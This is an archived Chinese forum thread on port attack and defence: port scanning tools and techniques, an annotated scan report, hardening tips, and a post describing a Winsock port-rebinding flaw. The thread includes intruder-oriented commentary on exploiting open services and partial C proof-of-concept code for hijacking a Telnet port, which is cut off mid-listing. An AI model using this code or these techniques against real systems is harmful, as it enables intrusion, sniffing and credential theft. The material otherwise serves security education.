史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 作業系統操作技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-04-22, 07:19 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 連接阜攻防大全

看一些系統管理或者電腦安全方面的文章,「連接阜」出現的次數很多,可見,連接阜是管理員和系統攻擊者都關注的問題。連接阜可以成為管理員提供服務的途徑也可以成為攻擊者的通道,怎樣根據伺服器提供的服務正確設定連接阜,是每一個管理員都應該徹底明白的問題。
一:徹底瞭解什麼是連接阜
要設定連接阜,必須明白什麼是連接阜。首先需要明白的一點是,我們這裡所說的連接阜,不是電腦硬體的I/O連接阜,而是軟體形式上的概念。伺服器可以向外提供多種服務,比如,一台伺服器可以同時是WEB伺服器,也可以是FTP伺服器,同時,它也可以是郵件伺服器。為什麼一台伺服器可以同時提供那麼多的服務呢?其中一個很主要的方面,就是各種服務採用不同的連接阜分別提供不同的服務,比如:WEB採用80連接阜,FTP採用21連接阜等。這樣,通過不同連接阜,電腦與外界進行互不干擾的通信。
工具提供服務檔案類型的不同,連接阜分為兩種,一種是TCP連接阜,一種是UDP連接阜。電腦之間相互通信的時候,分為兩種方式:一種是傳送訊息以後,可以驗證訊息是否到達,也就是有回應的方式,這種方式大多採用TCP傳輸協定;一種是傳送以後就不管了,不去驗證訊息是否到達,這種方式大多採用UDP傳輸協定。對應這兩種傳輸協定的服務提供的連接阜,也就分為TCP連接阜和UDP連接阜。
一般的TCP連接阜如下:(http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
一般的UDP連接阜如下: (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
瞭解一般的連接阜以後,我們大致明白了連接阜的作用。那麼,如果攻擊者使用軟體掃瞄目標電腦,得到目標電腦開啟的連接阜,也就瞭解了目標電腦提供了那些服務。我們都知道,提供服務就一定有服務軟體的漏洞,根據這些,攻擊者可以達到對目標電腦的初步瞭解。如果電腦的連接阜開啟太多,而管理者不知道,那麼,有兩種情況:一種是提供了服務而管理者沒有注意,比如安裝IIS的時候,軟體就會自動增加很多服務,而管理員可能沒有注意到;一種是伺服器被攻擊者安裝木馬,通過特殊的連接阜進行通信。這兩種情況都是很危險的,說到底,就是管理員不瞭解伺服器提供的服務,減小了系統安全係數。
二:連接阜掃瞄工具
電腦開啟那些連接阜可以通過一定的網路指令來檢測,但是,我們沒有必要一個個去試驗,因為我們有專門的連接阜掃瞄工具。
工具掃瞄方式的不同,連接阜掃瞄器分為兩者:
第一種針對一個連續網段掃瞄特定連接阜。這種工具常用於尋找特定主機或者特定服務,比如WEB伺服器,也可以用來檢測是否中了木馬,比如檢測7626連接阜來檢測冰河。這種工具有NetBrute。
第二種針對一台特定的伺服器掃瞄所有連接阜。這種工具常用於攻擊一台特定主機以前搜集此主機的大致訊息,確定攻擊方案。這種工具有SuperScan。

一) 掃瞄網段特定連接阜的NetBrute
連接阜對應特定的服務,所以,當我們要檢測本網段電腦是否提供了不該提供的服務或者開放了不該開放的連接阜的時候,我們就應該自己掃瞄一下。掃瞄網段連接阜的工具很多,我們在這裡介紹NetBrute。之所以使用它,有幾個原因:(1)NetBrute簡單易用;一般管理員不願意使用太複雜的工具來進行一些簡單的管理,那有殺豬使用牛刀的感覺;(2)NetBrute是免費的;儘管網上有很多免費的午餐,但是,完全免費沒有廣告或者沒有提示的其實還是比較少;(3)掃瞄速度快,結果清晰;如果使用過一些DOS下的掃瞄程序,可能就有一些體會,雖然速度快,但是,結果有時候不是很清晰;(4)免安裝,程序小;誰也不想在自己的電腦或者伺服器上安裝太多無關或者比較常用的軟體,NetBrute只有500K,完全綠色軟體。該軟體可以到開發者的主頁下載,一邊得到最新版本:http://www.rawlogic.com/
開啟軟體,我們看到一下介面(圖一): (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
再以上介面中,我們可以設定連接阜掃瞄時間(Time Out),一般採用軟體預設的300;選項需要掃瞄的連接阜(Tcp Port),點擊下拉框,可以看到連接阜和對應的解釋;掃瞄的IP範圍,預設軟體可以掃瞄一個網段,如果需要掃瞄幾個網段,點擊表單【Option】,取消選項「Class C」;如果掃瞄的IP比較多,可以選項【Scroll Bars】,這樣,在左邊的結果顯示欄出現捲軸;現在,我們選項掃瞄一個網段,看看結果怎樣(圖二) (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在上圖,我們掃瞄了*.75.40.1到*.75.40.255這個網段的所有80連接阜,在結果欄,我們可以看到在這一網段所有提供WEB服務的IP。
在使用以上工具的時候,我們需要注意一下幾點:
1) 連接阜的選項;連接阜對應相應的服務,但是,千萬不要將這句話理解為特定服務一定使用一個特定連接阜。有些管理員為了安全考慮,會將預設連接阜改變,比如,將WEB服務的連接阜改變為8080,這樣,當我們在使用以上工具搜尋WEB服務的時候,就會漏掉使用8080連接阜的電腦。所以,不要簡單的將掃瞄到的結果認定為最後結果。
2) 掃瞄時機的選項;儘管伺服器一般是24小時不間斷服務的,但是,一些特殊的服務和一些特殊的機構不一定24小時開啟伺服器,所以,管理員在考慮對本系統進行檢測的時候盡量選項所有服務均開啟的時間;
3) 掃瞄的利用;除了攻擊者將掃瞄器作為一種攻擊協助工具,管理員其實也非常需要這種軟體,除了檢查伺服器不必要的服務以外,最好同時檢測一般的PC電腦來發現木馬。

二)掃瞄特定電腦所有連接阜的SuperScan
攻擊者在攻擊一台主機以前,一般都需要搜集目標電腦提供的服務,SuperScan 就可以實現這種功能。對一個純粹管理伺服器的管理員而言,上面介紹的NeuBrute並不能完全滿足要求,畢竟,伺服器不會太多。對一台伺服器的完全瞭解才是最重要的。SuperScan需要安裝執行,可以在開發者網站http://www.foundstone.com/下載最新版本。SuperScan有以下特點:(1)小巧易用,使用方法比較簡單,而且,軟體對常用連接阜有介紹;(2)可以選項需要掃瞄的連接阜也可以選項所有連接阜;這一點對於管理員來說比較方便,其實,大部分時候我們不必要掃瞄電腦的所有連接阜,掃瞄1024以下的連接阜基本已經可以了;(3)可以選項掃瞄多個網段;儘管提供這項功能,還是不推薦使用這個功能,因為速度實在太慢;(4)其他功能,比如取得電腦主機名電腦,設定掃瞄速度。
開啟軟體,出現以下介面(圖三):(http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp )
以上介面其實可以分為三部分:(1)主機名探測功能(Hostname Lookup),主要取得目標電腦主機名;(2)掃瞄設定區,在【IP】部分可以設定需要掃瞄的IP(或者IP網段); 在【Timeout】設定各種時間參數;在【Scan type】選項掃瞄方式,可以是只Ping目標電腦(Ping only),Every Port in list(連接阜列表的所有連接阜),連接阜列表的連接阜在「Port list setup」設定;(3)結果顯示區。
現在,我們首先設定需要掃瞄的連接阜,選項【Port list setup】,出現以下介面(圖四): (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在以上介面設定需要掃瞄的連接阜,為了簡單,我們選項所有列表中列出的連接阜,儲存為連接阜列表文件。現在開始掃瞄,掃瞄結果如下(圖五): (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在以上介面中,我們檢視結果欄,可以看到目標主機開啟的連接阜,在每一個連接阜後面都有關於這個連接阜的間斷說明,在一些一般的連接阜比如80連接阜還有服務軟體的檔案類型,在這裡檢測到web服務軟體為 IIS4。在【Open ports】顯示了開啟的連接阜的數量。在使用這款軟體的時候,我們需要注意以下問題:
(1) 明確掃瞄目的。任何對目標主機的掃瞄都會給目標主機帶來一定的額外負載,當掃瞄連接阜較多的時候,掃瞄者就有必要考慮掃瞄的目的。如果只是一般維護,當然掃瞄的時候在主機負載較少的時候最好;如果為了攻擊作準備,最好掃瞄以前考慮清除對目標電腦產生的影響同時考慮是否觸犯國家有關法律法規。
(2) 掃瞄結果的檢視。掃瞄結束以後,很多使用者發現目標電腦一個連接阜也沒有開啟!其實不是這樣的,軟體設計者在設計軟體的時候沒有注意結果欄背景色,所以,在掃瞄的IP位址前面有一個小小的+號不能清楚地看見,這時候,我們點擊【Expand all】展開所有接點才會出現圖五所顯示的結果。
(3) 掃瞄速度的考慮。如果掃瞄目標較多,建議晚上進行第二天早上再看結果,因為實在速度不是很快。
三:伺服器連接阜的設定
以上我們介紹了怎樣掃瞄目標電腦的連接阜,現在,我們看一下怎樣設定伺服器連接阜,使連接阜與提供的服務適合。
一) 在系統設定
Win2000和WinNT都可以在TCP/IP設定介面設定開啟伺服器連接阜。現在我們看Win2000中怎樣設定連接阜。開啟【Internet傳輸協定(TCP/IP)內容】設定,選項【進階】,在出現的【進階TCP/IP設定】中選項【選項】,在出現的介面中選項【TCP/IP】刪選,點擊【內容】,出現以下介面(圖六): (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在以上的介面中,可以設定TCP和UDP連接阜。在確定開啟那些連接阜以前,建議考慮以下幾點:
(1) 伺服器到底提供那些服務,這些服務使用那些連接阜。這一點是每一個管理員應該考慮的,在滿足要求下盡量少的服務加開啟適當地連接阜,可以在一定程度上加固伺服器的安全。
(2) 設定完成以後對伺服器進行全面檢測。儘管管理員可能對伺服器很熟悉,但是在設定完成以後還是建議對伺服器的所有服務作一個全面檢測,以免出現服務不能正常執行的情況。
二)軟體設定
以上在系統設定連接阜很簡單,其實,還有更加簡單的方法,那就是使用專門設定連接阜的軟體。使用這一類軟體的好處設定簡單同時還有日誌功能。
(1)阻止通過Internet連接特定連接阜的PortBlocker 這款軟體主要針對同時連接區域網路和網際網路的用戶,當伺服器與網際網路連接以後,管理員就有必要更加注意連接阜的設定。這款軟體專門檢測來自網際網路的通信,如果有任何企圖連接不予開放的連接阜,該軟體就會彈出視窗報告IP位址和企圖的連接阜。現在我們來看這款軟體的使用。
在http://www.analogx.com/ 下載該軟體,安裝以後,開啟它,會在系統工具列的工作列部分出現一個小圖示,右鍵點擊此圖示,選項【Mapping】,出現設定介面(圖七):(http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在這裡,我們看到一些常用的連接阜已經被關閉了,當然,我們可以根據需要增加移除或者編輯已有的連接阜。這些設定完全和Win2000一樣,在這裡就不詳細介紹。
(2)IP位址限制和連接阜轉向的PortMapping
上面介紹的軟體主要針對與網際網路連接的伺服器,具有一定的局限性。PortMapping是另外的思法來限制連接阜的一個軟體,當請求已經設定的連接阜的時候,該軟體自動將這些請求轉移到另外的IP或者電腦,這樣,保護的連接阜就安全了。同時,這款軟體也可以限制連接伺服器的IP,此功能和Win2000的IP限制是一樣的。
在http://www.analogx.com/ 下載該軟體,安裝以後,開啟它,會在系統工具列的工作列部分出現一個小圖示,右鍵點擊此圖示,選項【Configure】,出現以下介面【圖八】: (http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在這裡,我們可以選項軟體的兩個功能:IP限制和連接阜轉向。我們選項【Port Redirection】,出現連接阜設定介面,選項【Add】按鈕增加連接阜,出現以下介面(圖九):(http://www.ccw.com.cn/htm/net/seminar/01_10_8_2.asp)
在以上介面我們可以設定連接阜、連接阜對應的傳輸協定(TCP、UDP)、轉向的目標(電腦名稱或者IP位址)已經接頭(來自區域網路還是網際網路)。
四:總結
不管是攻擊還是防守,連接阜都是大家關心的問題。所以,在對連接阜作任何的設定或者掃瞄以前,建議不但要考慮到對系統的影響同時也要考慮到是否觸犯國家法律法規。
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-04-22, 07:20 PM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

掃瞄到的連接阜到底有什麼用?
有許多網友問的最多的問題就是:我用掃瞄軟體掃到了一個電腦上的許多開放連接阜,可是那些連接阜到底有什麼用啊,今天,我就用一個真實的掃瞄向你講述掃到的連接阜的用途。

被掃的主機:192.xxx.xx.x

主機IP數:4

發現的安全漏洞:7個

安全弱點:45個

系統: Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS


 


--------------------------------------------------------------------------------


Telnet (23/tcp)
ssh (22/tcp)
ftp (21/tcp) (發現安全漏油)
netstat (15/tcp)
daytime (13/tcp)
systat (11/tcp)
echo (7/tcp)
time (37/tcp)
smtp (25/tcp)
www (80/tcp) (發現安全漏油)
finger (79/tcp)
auth (113/tcp)
sunrpc (111/tcp)
pop-2 (109/tcp)
linuxconf (98/tcp)
imap2 (143/tcp)
printer (515/tcp)
shell (514/tcp)
login (513/tcp)
exec (512/tcp)
unknown (693/tcp)
unknown (698/tcp)
unknown (727/tcp)
swat (910/tcp)
unknown (1025/tcp)
unknown (1039/tcp)
unknown (1038/tcp)
unknown (1037/tcp)
unknown (1035/tcp)
unknown (1034/tcp)
unknown (3001/tcp)
unknown (6000/tcp)
echo (7/udp)
general/tcp
daytime (13/udp)
unknown (728/udp) (發現安全漏油)
unknown (2049/udp)
unknown (681/udp)
unknown (2049/tcp)(發現安全漏油)
 

可用telnet登入的連接阜 (23/tcp)


這個訊息表明遠端登入服務正在執行,在這裡你可以遠端登入到該主機,這種不用密碼的遠端登入服務是危險的,如果可以匿名登入,任何人可以在伺服器和客戶端之間傳送資料。

 

 

發現的可攻擊弱點 (21/tcp)

我在那裡發現了一個目錄是可寫的:
/incoming


ftp連接阜 (21/tcp)

ftp服務TELNET服務一樣,是可以匿名登入的,而且在有的電腦上它還允許你執行遠端指令,比如CWD ~XXXX,如果你能CWD ROOT成功,那你就可以獲得最高權限了,不過這樣的好事好像不多。另外,有時還能用它獲得一個可用的帳號(guest),或得知主機在執行什麼系統


從這裡可以得知伺服器在全天候執行,這樣就有助於一個入侵者有足夠的時間獲取該主機執行的系統,再加上udp也在全天候的執行,這樣可以使入侵者通過UDP欺騙達到主機拒絕服務的目的

ECHO(7/tcp)

這個連接阜現在沒什麼用處,但它可能成為一個問題的來源,順著它有可能找到其它連接阜以達到拒絕服務的目的。

(25/tcp)smtp連接阜
該連接阜開放郵件傳輸傳輸協定

回應可執行EXPN和VRFY指令

EXPN可以發現傳送郵件的名稱或者能找到一個完整的郵件接收人的名稱。

VRFY指令可以用來檢測一個帳號的合法性

我們可以試著發這樣一個檔案類型的郵件給它:

user@hostname1@victim

我們會收到一個這樣的郵件:
user@hostname1

也許我們就能用它穿過防火牆

WWW(80/TCP)連接阜

它表明WWW服務在該連接阜執行

finger (79/tcp) 連接阜
finger服務對入侵者來說是一個非常有用的訊息,從它可以獲得用戶訊息,檢視機器的執行情況等

auth (113/tcp)

ident服務披露給入侵者的將是較敏感的訊息,從它可以得知哪個帳號執行的是什麼樣的服務,這將有助於入侵者集中精力去獲取最有用的帳號(也就是哪些人擁有ROOT權限)

(98/tcp) LINUX在這個連接阜上執行

對於LINUX我不太熟悉

(513/tcp) RLOGIN在這個連接阜上執行

這種服務形同於TELNET,任何人可以在它的啟始下在客戶端和服務端之間傳送資料。

exec (512/tcp)

rexecd在該連接阜開放,該服務使一個破譯者有機會從它那裡掃瞄到另外一個IP,或者利用它穿過防火牆。

也許你還能發現很多連接阜,不同的連接阜會有不同的作用
 
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-04-22, 07:21 PM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

連接阜掃瞄簡介

一個連接阜就是一個潛在的通信通道,也就是一個入侵通道。對目標電腦進行連接阜掃瞄,能得到許多有用的訊息。進行掃瞄的方法很多,可以是手動式進行掃瞄,也可以用連接阜掃瞄軟體進行。
 
在手動式進行掃瞄時,需要熟悉各種指令。對指令執行後的輸出進行分析。用掃瞄軟體進行掃瞄時,許多掃瞄器軟體都有分析資料的功能。

通過連接阜掃瞄,可以得到許多有用的訊息,從而發現系統的安全漏洞。

什麼是掃瞄器

掃瞄器是一種自動檢測遠端或本機主機安全性弱點的程序,通過使用掃瞄器你可一不留痕跡的發現遠端伺服器的各種TCP連接阜的分配及提供的服務和它們的軟體版本!這就能讓我們間接的或直觀的瞭解到遠端主機所存在的安全問題。

工作原理

掃瞄器通過選用遠端TCP/IP不同的連接阜的服務,並記錄目標給予的回答,通過這種方法,可以搜集到很多關於目標主機的各種有用的訊息(比如:是否能用匿名登入!是否有可寫的FTP目錄,是否能用TELNET,HTTPD是用ROOT還是nobady在跑!)

掃瞄器能幹什麼

掃瞄器並不是一個直接的攻擊網路漏洞的程序,它僅僅能說明 我們發現目標機的某些內在的弱點。一個好的掃瞄器能對它得到的資料進行分析,說明 我們搜尋目標主機的漏洞。但它不會提供進入一個系統的詳細步驟。

掃瞄器應該有三項功能:發現一個主機或網路的能力;一旦發現一台主機,有發現什麼服務正執行在這台主機上的能力;通過測試這些服務,發現漏洞的能力。

編寫掃瞄器程序必須要很多TCP/IP程序編寫和C, Perl和或SHELL語言的知識。需要一些Socket編程的背景,一種在開發客戶/服務應用程式的方法。開發一個掃瞄器是一個雄心勃勃的項目,通常能使程序員感到很滿意。

常用的連接阜掃瞄技術


TCP connect() 掃瞄

這是最基本的TCP掃瞄。作業系統提供的connect()系統使用,用來與每一個感興趣的目標電腦的連接阜進行連接。如果連接阜處於偵聽狀態,那麼connect()就能成功。否則,這個連接阜是不能用的,即沒有提供服務。這個技術的一個最大的優點是,你不需要任何權限。系統中的任何用戶都有權利使用這個使用。另一個好處就是速度。如果對每個目標連接阜以線性的方式,使用單獨的connect()使用,那麼將會花費相當長的時間,你可以通過同時開啟多個套接字,從而加速掃瞄。使用非阻塞I/O允許你設定一個低的時間用盡週期,同時觀察多個套接字。但這種方法的缺點是很容易被發覺,並且被過濾掉。目標電腦的logs文件會顯示一連串的連接和連接是出現錯誤的服務消息,並且能很快的使它關閉。

TCP SYN掃瞄

這種技術通常認為是「半開放」掃瞄,這是因為掃瞄程序不必要開啟一個完全的TCP連接。掃瞄程序傳送的是一個SYN資料包,好像準備開啟一個實際的連接並等待反應一樣(參考TCP的三次握手建立一個TCP連接的程序)。一個SYN|ACK的返回訊息表示連接阜處於偵聽狀態。一個RST返回,表示連接阜沒有處於偵聽態。如果收到一個SYN|ACK,則掃瞄程序必須再傳送一個RST信號,來關閉這個連接程序。這種掃瞄技術的優點在於一般不會在目標電腦上留下記錄。但這種方法的一個缺點是,必須要有root權限才能建立自己的SYN資料包。

TCP FIN 掃瞄

有的時候有可能SYN掃瞄都不夠秘密。一些防火牆和包過濾器會對一些指定的連接阜進行監視,有的程序能檢測到這些掃瞄。相反,FIN資料包可能會沒有任何麻煩的通過。這種掃瞄方法的思想是關閉的連接阜會用適當的RST來回覆FIN資料包。另一方面,開啟的連接阜會忽略對FIN資料包的回覆。這種方法和系統的實現有一定的關係。有的系統不管連接阜是否開啟,都回覆RST,這樣,這種掃瞄方法就不適用了。並且這種方法在區分Unix和NT時,是十分有用的。

IP段掃瞄

這種不能算是新方法,只是其它技術的變化。它並不是直接傳送TCP探測資料包,是將資料包分成兩個較小的IP段。這樣就將一個TCP頭分成好幾個資料包,從而過濾器就很難探測到。但必須小心。一些程序在處理這些小資料包時會有些麻煩。

TCP 反向 ident掃瞄

ident 傳輸協定允許(rfc1413)看到通過TCP連接的任何工作的擁有者的用戶名,即使這個連接不是由這個工作開始的。因此你能,舉個例子,連線到http連接阜,然後用identd來發現伺服器是否正在以root權限執行。這種方法只能在和目標連接阜建立了一個完整的TCP連接後才能看到。

FTP 返回攻擊

FTP傳輸協定的一個有趣的特點是它支持代理(proxy)FTP連接。即入侵者可以從自己的電腦a.com和目標主機target.com的FTP server-PI(傳輸協定解釋器)連接,建立一個控制通信連接。然後,請求這個server-PI啟動一個有效的server-DTP(資料傳輸工作)來給Internet上任何地方傳送文件。對於一個User-DTP,這是個推測,儘管RFC明確地定義請求一個伺服器傳送文件到另一個伺服器是可以的。但現在這個方法好像不行了。這個傳輸協定的缺點是「能用來傳送不能跟蹤的郵件和新聞,給許多伺服器造成打擊,用盡磁牒,企圖越過防火牆」。

我們利用這個的目的是從一個代理的FTP伺服器來掃瞄TCP連接阜。這樣,你能在一個防火牆後面連線到一個FTP伺服器,然後掃瞄連接阜(這些原來有可能被阻塞)。如果FTP伺服器允許從一個目錄讀寫資料,你就能傳送任意的資料到發現的開啟的連接阜。

對於連接阜掃瞄,這個技術是使用PORT指令來表示被動的User DTP正在目標電腦上的某個連接阜偵聽。然後入侵者試圖用LIST指令列出當前目錄,結果通過Server-DTP傳送出去。如果目標主機正在某個連接阜偵聽,傳輸就會成功(產生一個150或226的回應)。否則,會出現"425 Can't build data connection: Connection refused."。然後,使用另一個PORT指令,嘗試目標電腦上的下一個連接阜。這種方法的優點很明顯,難以跟蹤,能穿過防火牆。主要缺點是速度很慢,有的FTP伺服器最終能得到一些線索,關閉代理功能。

這種方法能成功的情景:
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready

這種方法不能成功的情景:
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

UDP ICMP連接阜不能到達掃瞄

這種方法與上面幾種方法的不同之處在於使用的是UDP傳輸協定。由於這個傳輸協定很簡單,所以掃瞄變得相對比較困難。這是由於開啟的連接阜對掃瞄探測並不傳送一個驗證,關閉的連接阜也並不需要傳送一個錯誤資料包。幸運的是,許多主機在你向一個未開啟的UDP連接阜傳送一個資料包時,會返回一個ICMP_PORT_UNREACH錯誤。這樣你就能發現哪個連接阜是關閉的。UDP和ICMP錯誤都不保證能到達,因此這種掃瞄器必須還實現在一個包看上去是丟失掉的時候能重新傳輸。這種掃瞄方法是很慢的,因為RFC對ICMP錯誤消息的產生速率做了規定。同樣,這種掃瞄方法需要具有root權限。

UDP recvfrom()和write() 掃瞄

當非root用戶不能直接讀到連接阜不能到達錯誤時,Linux能間接地在它們到達時通知用戶。比如,對一個關閉的連接阜的第二個write()使用將失敗。在非阻塞的UDP套接字上使用recvfrom()時,如果ICMP出現錯誤還沒有到達時回返回EAGAIN-重試。如果ICMP到達時,返回ECONNREFUSED-連接被拒絕。這就是用來檢視連接阜是否開啟的技術。

ICMP echo掃瞄

這並不是真正意義上的掃瞄。但有時通過ping,在判斷在一個網路上主機是否開機時非常有用。

典型掃瞄工具:nmap

在網上可以很容易地找到nmap的源碼,有興趣的話可以自行分析。

關於如何關閉IPC$的空連接
在註冊表中找到 HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA
項裡數值名稱RestrictAnonymous的數值資料由0改為1.

——————————————————————————————————————

關於如何關閉服務 如 Telnet
Net stop 指令可以關閉指定的服務,例如 net stop telnet 等
想要知道到底能關閉哪些服務,請檢視 net help stop 那裡有服務列表
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-04-22, 07:22 PM   #4 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

連接阜截聽實現連接阜隱藏,嗅探與攻擊
在WINDOWS的SOCKET伺服器套用的編程中,如下的語句或許比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其實這當中存在在非常大的安全隱患,因為在winsock的實現中,對於伺服器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有權限之分,也就是說低級權限的用戶是可以重綁定在進階權限如服務啟動的連接阜上的,這是非常重大的一個安全隱患。
這意味著什麼?意味著可以進行如下的攻擊:
1。一個木馬綁定到一個已經合法存在的連接阜上進行連接阜的隱藏,他通過自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過127.0.0.1的位址交給真正的伺服器套用進行處理。
2。一個木馬可以在低權限用戶上綁定高權限的服務套用的連接阜,進行該處理訊息的嗅探,本來在一個主機上監聽一個SOCKET的通訊需要具備非常高的權限要求,但其實利用SOCKET重綁定,你可以輕易的監聽具備這種SOCKET編程漏洞的通訊,而無須採用什麼掛接,引上鉤或低層的驅動技術(這些都需要具備管理員權限才能達到)
3。針對一些的特殊套用,可以發起中間人攻擊,從低權限用戶上獲得訊息或事實欺騙,如在guest權限下攔截telnet伺服器的23連接阜,如果是採用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin用戶通過你登入以後,你的套用就完全可以發起中間人攻擊,扮演這個登入的用戶通過SOCKET傳送高權限的指令,到達入侵的目的。
4.對於構建的WEB伺服器,入侵者只需要獲得低級的權限,就可以完全達到更改網頁目的,很簡單,扮演你的伺服器給予連接請求以其他訊息的回應,甚至是關於電子商務上的欺騙,獲取非法的資料。

其實,MS自己的很多服務的SOCKET編程都存在這樣的問題,telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,在低權限用戶上實現對SYSTEM套用的截聽。包括W2K+SP3的IIS也都一樣,那麼如果你已經可以以低權限用戶入侵或木馬植入的話,而且對方又開啟了這些服務的話,那就不妨一試。並且我估計還有很多第三方的服務也大多存在這個漏洞。
解決的方法很簡單,在編寫如上套用的時候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨佔所有的連接阜位址,而不允許復用。這樣其他人就無法復用這個連接阜了。
下面就是一個簡單的截聽ms telnet伺服器的例子,在GUEST用戶下都能成功進行截聽,剩餘的就是大家根據自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探資料,高權限用戶欺騙等。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截聽雖然也可以將位址指定為INADDR_ANY,但是要不能影響正常套用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務套用,然後利用這個位址進行轉發,就可以不影響對方正常套用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR選項就是可以實現連接阜重綁定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回無權限的錯誤程式碼;
//如果是想通過重利用連接阜達到隱藏的目的,就可以動態的測試當前已綁定的連接阜哪個可以成功,就說明具備這個漏洞,然後動態利用連接阜使得更隱蔽
//其實UDP連接阜一樣可以這樣重綁定利用,這兒主要是以TELNET服務為例子進行攻擊
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
